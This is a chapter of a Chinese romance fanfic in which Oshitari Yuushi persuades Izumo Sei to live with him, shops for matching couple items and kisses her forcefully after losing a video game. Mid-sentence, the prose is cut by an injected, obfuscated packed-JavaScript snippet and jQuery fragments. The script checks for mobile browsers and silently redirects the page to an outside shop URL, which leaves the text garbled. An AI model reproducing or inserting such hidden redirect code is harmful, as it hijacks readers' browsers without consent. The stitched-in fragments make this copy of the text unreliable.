95. 仪式感拉满

作品:《【网王】与忍足医生同居二三事

    “小野阿姨是要付工资的,我不要钱。”


    忍足侑士逻辑清晰得堪比做学术报告。


    他往前一步,缩短两人之间的距离,声音压低了些,“而且我们现在是男女朋友了,住在一起不是很正常吗?”


    “哪里正常了?”出云霁试图挣扎,“这不是同居吗?”


    “同居不好吗?”忍足又往前逼近一步,将她笼罩在自己的手臂范围内。


    “我不比保姆更了解你?你的胃,你的习惯,你的小脾气……我都能照顾到。”


    “还能兼职私人医生,随时监测你的健康状况。多划算,嗯?”


    他循循善诱,却志在必得。


    出云霁被歪理气得说不出话:“…我是花钱租你的房子住的!”


    “哦,那个啊~”忍足像是才想起来,语气轻松,“我把房租退给你。从现在开始,我们不是房东和房客的关系了。”


    他微微一笑,“我们是同居的恋人关系。”


    “……!”


    “你不是说家里人不让你一个人住外面,必须和家里人住吗?”


    出云霁终于想起了这个挡箭牌。


    忍足的眼神闪了闪。


    这一个月,他没闲着。


    除了忙毕业和入职,还和他那位观念传统的父亲进行了一场耗时耗力、充满拉锯的掰头。


    以前所未有的坚定态度表明了自己的选择和决心,才换来父亲暂时的妥协。


    即使是暂时的,也算是阶段性的胜利。


    好在他的对照组兼挚友——迹部景吾,连女朋友都没有,这样衬托起来,忍足父母就比迹部父母高兴了一些。


    换来的就是迹部父母安排了更多的相亲宴,甚至不局限在日本范围内了。


    气得大少爷这段时间晚上天天给他打电话发牢骚。


    没办法,死道友不死贫道,忍足会为他默哀的。


    “现在不是一个人住外面了。”


    “我和我女朋友住。”


    省略了中间艰难的交锋过程,他只陈述最终结果。


    出云霁看着他理直气壮、毫无破绽的样子,一时语塞。


    愤愤地跺了跺脚,像只炸毛又找不到攻击点的猫:“……我跟小野阿姨签了三个月合同!违约要赔钱的!”


    “这个不用担心。”忍足立刻接话,“交给我处理。”


    看着她气鼓鼓又无可奈何的样子,眼底笑意更深。


    不再给她任何反驳的机会。


    长臂一伸,忍足直接将她捞进怀里,手臂收紧,将她的身体嵌入自己的胸膛。


    下巴轻轻搁在她柔软的发顶,发出一声满足的喟叹:“阿霁……”


    “一个月没见了……”


    “我好想你啊……”


    声音低沉悦耳,将她紧紧围绕,鼻尖的气息熟悉又温暖。


    原本想出说口的反驳和小小别扭,在这个久违的拥抱里,一点点软化消散。


    医生一定自带镇定剂。


    一靠近就安心了。


    脸埋在他的西装布料里,双手不由自主地环住了精瘦的腰身。大约是这个月很辛苦,他比在马耳他瘦了些,出云霁抱紧了点。


    身体的本能先于理智投降。


    “……真是怕了你了……”


    感受到她身体的放松和小小抱怨,喜悦就像屋外的阳光,灿烂得很。


    ******


    正式入住的第一天,忍足就遭遇了第一个惊喜。


    推开客房门,里面干干净净,空空荡荡,仿佛他从未在这里存在过。


    忍足:“……”


    他挑眉转身,看向一脸故作淡定的出云霁。


    “旧的不去,新的不来,反正都是旧东西了……”


    她越说越心虚,“大不了再买新的呗!”


    “哦?”慢条斯理地推了推眼镜,“嗯,你说的有道理。”


    “既然要买新的,那现在就走吧。正好添置点同居必需品。”


    “啊?现在?!”


    出云霁觉得他的行动力也太强了,刚口若悬河地送走小野阿姨,处理完合同违约事项,居然现在还有精力去超市采购。


    “现在不买,我晚上睡哪里?”忍足刚说完,然后摸了摸下巴,恍然大悟。


    “原来是阿霁想让我跟你睡一起,早点说嘛……”


    “走走走,我开车!”


    出云霁一溜烟就冲出了门,话音还没落,Q8的引擎已经响起来了。


    ******


    忍足:“水杯要一对吧?这个怎么样?釉下彩,颜色耐看。”


    出云:“家里不是有水杯吗?还买?”


    忍足:“那不是情侣款的,没有仪式感。”


    出云:“……行。”


    忍足:“我要买个常用的牙刷,电动的好一点,哪个颜色呢……”


    出云:“蓝色的吧,和水杯一样。”


    忍足:“毛巾也要买,唉,真浪费,谁叫我的毛巾都被人扔了。”


    出云:“……买。”


    忍足:“浴袍买不买?还是要让我穿女士的?”


    出云:“……买买买,都买。”


    忍足:“这个四件套还不错,怎么没有紫色的了?”


    出云:“非要紫色的吗?”


    忍足:“嗯,充满回忆的颜色,大概在哪个垃圾桶吧。”


    出云:“……”


    林林总总,塞满了整个购物车。


    忍足熟门熟路、条理清晰、目标明确地挑选着每一样物品,并且都是成双成对的款式,仪式感拉满。


    出云霁嘴上嫌弃他矫情,但还是默默跟在他旁边,一言一语地逛着超市。


    ******


    回到公寓,忍足展现了惊人的整理能力。


    浴室里并列同款牙刷和毛巾,衣架上挂起的同款不同色的浴袍,客卧的床铺上了崭新舒适的浅灰条纹四件套。


    每一个角落都宣告着同居恋人的身份。


    厨房里传来熟悉的切菜节奏和油锅的滋啦声。


    当料理香气弥漫时,出云霁迅速在餐桌边就位。


    低头狂炫。


    还是忍足医生的手艺好,熟悉的味道!好吃到想流泪!


    “不减肥了吧?”


    “吃完再减。”


    ******


    夜幕降临。


    两人窝在客厅沙发上,面前是连接着大屏幕的游戏机手柄。


    “来来来!PK!新买的游戏机。”出云霁摩拳擦掌。


    “好啊。”忍足微笑应战。


    结果毫无悬念。


    出云霁是游戏高手。


    操作的格斗角色行云流水,一套连招华丽炫目,直接把忍足的角色打得毫无还手之力,血条瞬间清零。


    “K.O.”


    屏幕上弹出巨大的胜利标识。


    “耶——!!!”


    出云霁得


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096251|192463||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    意洋洋地叉着腰,像只骄傲开屏的孔雀,凑到忍足面前,故意拖长了语调,带着点挑衅意味,“忍、足、医、生~你行不行啊?小~菜~鸡~”


    化身最近很流行的粉色小海狸loopy表情包。


    忍足原本只是笑着看她嘚瑟,听到这句“行不行”,眼眸倏地暗沉了几分。


    危险的光芒闪过。


    他没说话,长臂一伸。


    出云霁只觉得腰间一股大力袭来,惊呼一声就被拽进了坚实温热的怀里。


    “你干……”质问的话还没出口,就被灼热的唇瓣堵了回去。


    “唔——”


    吻来得又急又猛,带着惩罚的意味。


    一只手臂铁钳般紧紧箍着她的腰,另一只手托着她的后颈,不容有任何闪躲的余地。


    不同于马耳他带着试探和温柔的初吻,这个吻充满了侵略性,以及男人被挑衅后爆发的荷尔蒙气息。


    撬开齿关,攻城略地,霸道地攫取着所有的呜咽。


    在这个赛道上,出云霁属于新手村战五渣,除了被动挨打,毫无还手之力。


    挣扎的力道渐渐消失,身体在他的禁锢和亲吻下一点点软化。


    不知何时,两人从抱着变成了出云霁被半压在沙发上。


    忍足的身体覆了上来,将她更紧地困在自己和沙发之间狭小的空间里。进攻没有减轻,反而因姿势改变而更加缠绵。


    空气仿佛被点燃,温度急剧升高。


    不知持续了多久。


    直到感觉肺里的空气都要被抽干了,忍足才稍稍放开了她。


    额头相抵,呼吸灼热。


    出云霁眼神迷蒙,脸颊绯红,嘴唇被吻得微微红肿,泛着水润光泽。


    她本就美得惊人,此刻情动的模样更艳极。


    喉头剧烈地滚动了一下,忍足微微垂眸,他的睫毛很长,却遮不住眼底翻滚的欲望,“不能问男人行不行……”


    气息灼热地喷洒在耳廓和颈窝,声音哑得可怕:“现在……”


    “不行的是你啊……阿霁……”


    喊着她名字的尾音低沉暧昧,被刻意含糊在喉间,撩人无比。


    出云霁大脑缺氧,浑身发软,此刻被压着身体,自然察觉到了他的存在感。


    羞耻和燥-热像蚂蚁一样爬满全身,恨不得找个地缝。


    控制不住的呼吸急促,胸口起伏,却完全没有意识到自己这副模样,对忍足来说是致命而煎熬的撩拨。


    不能再看她了。


    忍足撇过头咬咬牙,脖颈的青筋都爆了起来,松开钳制,撑着沙发直起身体。


    “时间不早了……我先去洗澡了。”


    几乎是落荒而逃,他大步冲向了卫生间。


    留下出云霁一个人呆呆地躺在沙发上,看着天花板出神。


    浴室里面传来了哗啦啦的水声。


    大概过了两分钟,出云霁才找回了自己的三魂七魄,撑着沙发坐起身。


    看着紧闭的卫生间门,听着急促的水流,紧张得像鼓一样的心跳,却慢慢平复下来。


    他是尊重她的。


    知道她需要时间适应,没有因为同居就迫不及待地跨越雷池。


    然而就在这份安心之中,一个极其微小的疑问,如同水底气泡,不受控制地悄悄冒出头。


    他刚才反应那么大……


    最后却跑了……


    他到底……


    行不行啊……?